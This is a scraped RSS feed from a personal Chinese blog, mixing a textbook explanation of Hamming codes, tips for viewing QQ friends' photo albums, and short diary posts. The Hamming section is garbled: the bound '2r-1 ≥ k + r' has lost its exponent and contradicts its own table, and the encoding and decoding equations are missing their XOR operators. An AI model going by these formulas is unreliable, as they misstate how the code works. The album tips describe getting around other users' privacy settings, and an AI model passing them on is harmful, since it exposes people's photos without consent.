　　如要能检出与自动校正一位错，并能同时发现两位错，此时校验位的位数r和数据位的位数k应满足下述关系:
　　2r-1 ≥ k + r (2.8)
　　按上述不等式，可计算出数据位k与校验位r的对应关系，如表2.2所示。
　　表2.2
　　K值 最小的r值
　　3-4 4
　　5-10 5
　　11-25 6
　　26-56 7
　　57-119 8
　　设计海明码编码的关键技术，是合理地把每个数据位分配到r个校验组中，以确保能发现码字中任何一位出错；若要实现纠错，还要求能指出是哪一位出错，对出错位求反则得到该位的正确值。例如，当数据位为3位（用D3 D2 D1表示）时，检验位应为4位（用P4 P3 P2 P1表示）。可通过表2.3表示的关系，完成把每个数据位划分在形成不同校验位的偶校验值的逻辑表达式中。
　　表2.3 校验位与数据位的对应关系
　　在P1、P2、P3、P4竖列相应行分别填1，
　　在该4列的低3横行其它位置分别填0，
　　在最顶横行的每个尚空位置都分别填1。
　　若只看低3横行，右4竖列的3个bit的组合值分别为十进制的1、2、4、0，则分配 D1 D2 D3列的组合值为3 5 6，保证低3横行各竖列的编码值各不相同。
　　表中D3 D2 D1为三位数据位，P4 P3 P2 P1为四位校验位。其中低三位中的每一个校验位P3 P2 P1的值，都是用三个数据位中不同的几位通过偶校验运算规则计算出来的。其对应关系是：对Pi（i的取值为1~3），总是用处在Pi取值为1的行中的、用1标记出来的数据位计算该Pi的值。最高一个校验位P4，被称为总校验位，它的值，是通过对全部三个数据位和其它全部校验位（不含P4本身）执行偶校验计算求得的。
　　形成各校验位的值的过程叫做编码，按刚说明的规则，4个校验位所用的编码方程为：
　　P4 = D3 D2 D1 P3 P2 P1
　　P3 = D3 D2
　　P2 = D3 D1
　　P1 = D2 D1
　　由多个数据位和多个校验位组成的一个码字，将作为一个数据单位处理，例如被写入内存或被传送走。之后，在执行内存读操作或在数据接收端，则可以对得到的码字，通过偶校验来检查其合法性，通常称该操作过程为译码，所用的译码方程为：
　　S4 = P4 D3 D2 D1 P3 P2 P1
　　S3 = P3 D3 D2
　　S2 = P2 D3 D1
　　S1 = P1 D2 D1
　　译码方程和编码方程的对应关系很简单。译码方程，是用一个校验码和形成这个校验码的编码方程执行异或，实际上是又一次执行偶校验运算。通过检查四个S的结果，可以实现检错纠错的的目的。实际情况是，当译码求出来的S4、S3、S2、S1的得值与表2.3中的那一列的值相同，就说明是哪一位出错；故人们又称表2.3为出错模式表。若出错的是数据位，对其求反则实现纠错；若出错的是校验位则不必理睬。举例如下：
　　任何一位（含数据位、校验位）均不错，则四个S都应为0值；
　　任何单独一位数据位出错，四个S中会有三个为1；如D3错，则S4 S3 S2 S1为1110。
　　若单独一位校验位出错，四个S中会有一个或两个为1；如P1错，S4 S3 S2 S1为1001，如P4错，S4 S3 S2 S1为1000。
　　任何两位（含数据位、校验位）同时出错，S4一定为0，而另外三个S位一定不全为0，此时只知道是两位同时出错，但不能确定是哪两位出错，故已无法纠错。如D1、 P2出错，会使S4 S3 S2 S1为0001。请注意，S4的作用在于区分是奇数位出错还是偶数位出错，S4为1是奇数位错，为0是无错或偶数位错。这不仅为发现两位错所必需，也是为确保能发现并改正一位错所必需的。若不设置S4，某种两位出错对几个S的影响与单独另一位出错可能是一样的（不必花费精力推敲），此时若不加以区分，简单地按一位出错自动完成纠错处理反而会帮倒忙。 ]]> http://249491194.qzone.qq.com/blog/1238504178#comment 134217728 Tue, 31 Mar 2009 12:56:18 GMT http://249491194.qzone.qq.com/blog/1238504178 http://249491194.qzone.qq.com/blog/1234567700
4 天前 01:16

方法如下：
技巧一: 利用QQ空间搜索功能
登录soso空间， http://qzone.soso.com ， 输入你想查看相册的QQ好友QQ号，选中“QQ号"项，最后点“搜搜”，就可以看到QQ好友的照片了。
点击后面的“更多...”链接，即可获取QQ好友的全部照片。

技巧二：借助网站
这里需要借助QQ时尚网， http://qq-fashion.cn ，只需输入QQ号码，点“看相片”即可方便的查看。

技巧三：万能链接
这个方法最为简单、方便，只需将其中的QQ号码替换成QQ号，再搜索，即可看QQ号码中的照片。
http://qzone.soso.com/qz.q?uin=QQ号码&ty=album&num=4&pid=qz.s.photo#

完毕，希望对大家有所帮助。 ]]> http://249491194.qzone.qq.com/blog/1234567700#comment 134217728 Fri, 13 Feb 2009 23:28:20 GMT http://249491194.qzone.qq.com/blog/1234567700 http://249491194.qzone.qq.com/blog/1234564922 7夕的时候我是一个人洗了一桶衣服，今天我又是独自洗一桶衣服。 ]]> http://249491194.qzone.qq.com/blog/1234564922#comment 134217728 Fri, 13 Feb 2009 22:42:02 GMT http://249491194.qzone.qq.com/blog/1234564922 http://249491194.qzone.qq.com/blog/1233694079 YEAR ，又过圣诞节了。去年是在外面过的，一个很大的城市，好大的一个圣诞老人。伫立在街道上，很热闹。 同样是在外面，可是有着那么的天壤之别。什么也没有，感觉到的是凄凉。城市，人们的发展也许可以叫圣诞老人来看的吧！哪里有着他的身影，代表的是那里发展的速度和人们对于外面世界的融入和亲和读。你们说会是这样吗？


祝大家圣诞快乐！！！！ ]]> http://249491194.qzone.qq.com/blog/1233694079#comment 521 Tue, 03 Feb 2009 20:47:59 GMT http://249491194.qzone.qq.com/blog/1233694079